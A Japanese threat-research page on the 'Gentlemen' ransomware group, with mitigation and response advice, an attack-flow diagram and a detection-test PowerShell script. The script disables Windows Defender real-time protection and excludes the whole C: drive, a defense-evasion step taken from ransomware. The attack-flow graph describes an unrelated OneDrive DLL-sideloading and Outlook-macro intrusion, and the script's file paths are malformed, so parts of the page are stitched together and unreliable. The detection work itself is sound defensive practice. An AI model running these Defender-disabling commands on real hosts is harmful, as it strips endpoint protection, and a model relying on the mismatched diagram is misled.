SOC Prime Bias:

21 11月 2025 19:30

暗号化のライセンス:「ジェントルメン」が攻勢に出る時

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
暗号化のライセンス:「ジェントルメン」が攻勢に出る時
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

ジェントルマン・ランサムウェア集団は2025年7月に出現し、被害者データを暗号化し、機密情報を流出させる二重脅迫作戦を展開しました。このマルウェアはクロスプラットフォームで、Windows、Linux、ESXi環境を標的にし、自己再起動機能、ブート時の持続性、暗号化速度の調整が可能です。拡散はWMI、PowerShellリモート、SCHTASKS、その他のWindows標準管理ツールに依存しています。オペレーターはジェントルマンをRaaSとして提供し、提携者には広範な調整とカスタマイズオプションを提供します。

ジェントルマンランサムウェア攻撃分析

Cybereasonによる64ビットGolang Windowsサンプルの分析では、そのコマンドラインスイッチ、埋め込まれた身代金メモ、広範なアンチフォレンジックPowerShellルーチンが記録されています。研究者は持続性に使用されるレジストリ位置、重要なプロセスを無効にするためのサービス「キルリスト」、特権の昇格と横移動のためのWindowsネイティブバイナリへの依存も特定しました。暗号化パイプラインはXChaCha20とCurve25519に基づいています。

緩和策

推奨される防衛措置には、多要素認証の強制、頻繁なオフラインバックアップの維持、迅速なセキュリティパッチの適用、PowerShellおよびWMI実行の制御の強化が含まれます。エンドポイント保護スタックは、リアルタイムのアンチマルウェア、アンチランサムウェアの保護、およびVSSシャドウコピーの保護を有効にする必要があります。セキュリティチームはまた、異常なレジストリ変更、新たに作成されたスケジュールされたタスク、特徴的なPowerShellコマンドパターンを監視する必要があります。

対応

ジェントルマン・ランサムウェアの活動が検出された場合、影響を受けたシステムを直ちに隔離し、揮発性メモリをキャプチャし、レジストリエントリ、スケジュールされたタスク、PowerShellイベントログなどの主要アーティファクトを収集します。ランサムメモと暗号化されたファイルのフォレンジック取得を実行し、根絶が確認されたら信頼できるバックアップから影響を受けたシステムを復旧します。インシデント対応チームを動員して、横移動経路やデータ漏洩の証拠を調査してください。

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef action fill:#99ccff classDef operator fill:#ff9900 %% Nodes – Actions / Techniques initial_access[u0022u003cbu003eActionu003c/bu003e – 既存の足掛かりを利用した初期アクセスu0022] nclass initial_access action dll_sideload[u0022u003cbu003eTechniqueu003c/bu003e – u003cbu003eT1574.001 実行フローのハイジャック: DLLu003c/bu003eu003cbr/u003eOneDrive.exe が DLL サイドローディングにより悪意のある SSPICLI.dll を読み込むu0022] nclass dll_sideload technique powershell[u0022u003cbu003eTechniqueu003c/bu003e – u003cbu003eT1059.001 コマンドおよびスクリプトインタープリタ: PowerShellu003c/bu003eu003cbr/u003eネットワーク確認およびファイルコピーのために Base64 エンコードされた PowerShell コマンドが実行されるu0022] nclass powershell technique office_macro[u0022u003cbu003eTechniqueu003c/bu003e – u003cbu003eT1137.001 Office アプリケーション起動: Office テンプレートマクロu003c/bu003eu003cbr/u003eVBA マクロが %APPDATA%\Microsoft\Outlook\VbaProject.OTM に配置されるu0022] nclass office_macro technique vba_stomping[u0022u003cbu003eTechniqueu003c/bu003e – u003cbu003eT1564.007 アーティファクトの隠蔽: VBA ストンピングu003c/bu003eu003cbr/u003eマクロが受信メール(Application_NewMailEx)を監視し、C2 トリガーに反応してデータを流出させるu0022] nclass vba_stomping technique vb_interpreter[u0022u003cbu003eTechniqueu003c/bu003e – u003cbu003eT1059.005 コマンドおよびスクリプトインタープリタ: Visual Basicu003c/bu003eu003cbr/u003eVBA コードがコマンドを実行し、Outlook 経由で通信するu0022] nclass vb_interpreter technique %% Nodes – Files / Objects file_oneDrive[u0022u003cbu003eFileu003c/bu003e – OneDrive.exeu0022] nclass file_oneDrive file file_sspicli[u0022u003cbu003eFileu003c/bu003e – SSPICLI.dllu0022] nclass file_sspicli file file_vba[u0022u003cbu003eFileu003c/bu003e – VbaProject.OTMu0022] nclass file_vba file email_monitor[u0022u003cbu003eObjectu003c/bu003e – Outlook アプリケーションu003cbr/u003e受信メール(Application_NewMailEx)を監視u0022] nclass email_monitor action outlook_comm[u0022u003cbu003eObjectu003c/bu003e – Outlooku003cbr/u003eC2 と通信し、データを流出させるu0022] nclass outlook_comm action %% Connections – Flow of the attack initial_access u002du002du003e|leads_to| dll_sideload dll_sideload u002du002du003e|uses| file_oneDrive dll_sideload u002du002du003e|loads| file_sspicli dll_sideload u002du002du003e|triggers| powershell powershell u002du002du003e|leads_to| office_macro office_macro u002du002du003e|places| file_vba office_macro u002du002du003e|enables| vba_stomping office_macro u002du002du003e|enables| vb_interpreter vba_stomping u002du002du003e|monitors| email_monitor vb_interpreter u002du002du003e|communicates_via| outlook_comm

攻撃フロー

シミュレーション実行

前提条件: テレメトリ & ベースラインの事前チェックを合格している必要があります。

理由: このセクションは、検出ルールをトリガーするように設計された敵の手法(TTP)の正確な実行を詳述します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。抽象的または無関連の例は誤診につながります。

  • 攻撃の説明 & コマンド:

    1. 目的: Windows Defenderのリアルタイム保護を無効にし、ランサムウェアペイロードが暗号化ファイルを書き込めるように除外パスを追加します。
    2. 方法: PowerShellを使用し、Invoke-Command の中で2つのDefender設定コマンドを実行するインラインスクリプトブロックを実行します。これは“ジェントルマン”ランサムウェアサンプルで観察された正確な構文を反映しています。
    3. ステップ:
      • 昇格した特権でPowerShellセッションを開きます。
      • 悪意のあるスクリプトブロックを含むInvoke-Command を実行します。
      • Defenderのリアルタイムモニタリングが無効になっていること、およびC: の除外が追加されていることを確認します。
      • (オプション)ランサムウェア活動をエミュレートするダミーの暗号化ファイルを作成します。
  • 回帰テストスクリプト:次の自己完結型PowerShellスクリプトは、ルールが期待する攻撃を正確に再現します。

    # ------------------------------------------------------------------
    # Sigmaルール"The Gentlemen"ランサムウェアで使用されるPowerShellコマンドの検出をトリガーするテストスクリプト
    # ------------------------------------------------------------------
    # スクリプトを管理者として実行することを確認
    if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator))
    {
        Write-Error "このスクリプトは昇格した(管理者)特権で実行してください。"
        exit 1
    }
    
    # 1️⃣ リアルタイムモニタリングを無効にする
    Invoke-Command -ScriptBlock {
        Set-MpPreference -DisableRealtimeMonitoring $true
    }
    
    # 2️⃣ C: ドライブの除外を追加
    Invoke-Command -ScriptBlock {
        Add-MpPreference -ExclusionPath 'C:'
    }
    
    # 3️⃣ (オプション)ランサムウェアファイルの作成をシミュレート
    $dummyPath = "C:RansomTestencrypted.txt"
    New-Item -ItemType Directory -Path (Split-Path $dummyPath) -Force | Out-Null
    "これはモックの暗号化ペイロードです。" | Set-Content -Path $dummyPath -Encoding UTF8
    
    Write-Host "シミュレーションが完了しました。Defenderは無効になり、除外が追加されたはずです。"
  • クリーンアップコマンド:Defenderをデフォルトの状態に戻し、テストアーティファクトを削除します。

    # ------------------------------------------------------------------
    # クリーンアップスクリプト – Defenderを再有効化し、テストファイルを削除
    # ------------------------------------------------------------------
    # リアルタイムモニタリングを再有効化
    Invoke-Command -ScriptBlock {
        Set-MpPreference -DisableRealtimeMonitoring $false
    }
    
    # C: の除外を削除
    Invoke-Command -ScriptBlock {
        Remove-MpPreference -ExclusionPath 'C:'
    }
    
    # ダミーの暗号化ファイルとフォルダーを削除
    $dummyPath = "C:RansomTestencrypted.txt"
    if (Test-Path $dummyPath) { Remove-Item $dummyPath -Force }
    $folder = Split-Path $dummyPath
    if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
    
    Write-Host "クリーンアップが完了しました。Defenderの設定を復元しました。"